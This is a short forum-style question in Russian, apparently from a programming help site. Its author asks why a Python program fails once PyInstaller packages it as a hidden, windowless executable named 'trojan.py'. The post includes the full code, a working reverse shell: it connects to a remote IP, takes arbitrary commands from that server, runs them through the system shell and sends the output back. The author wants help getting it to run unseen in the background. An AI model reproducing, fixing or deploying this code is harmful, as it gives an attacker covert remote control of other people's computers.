моя программа выполняет заданную команду с сервера, а затем отправляет обратно вывод cmd на сервер
, когда я использую стандартный вывод во время работы программы, обычно она работает нормально, но когда я использую ее в программе, когда ее работает на backgroun я получаю ошибку (фатальная ошибка: не удалось выполнить скрипт) я использовал эту команду, чтобы перейти с .py на exe
pyinstaller --onefile -w trojan.py
это мой код
import socket
from subprocess import *
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.22",22))
while True:
command = s.recv(1024)
command = command.decode()
p = Popen(command,shell = True , stdout = PIPE , stderr = PIPE)
out = p.stdout.read() + p.stderr.read()
out = str(out).encode()
s.send(bytes(out))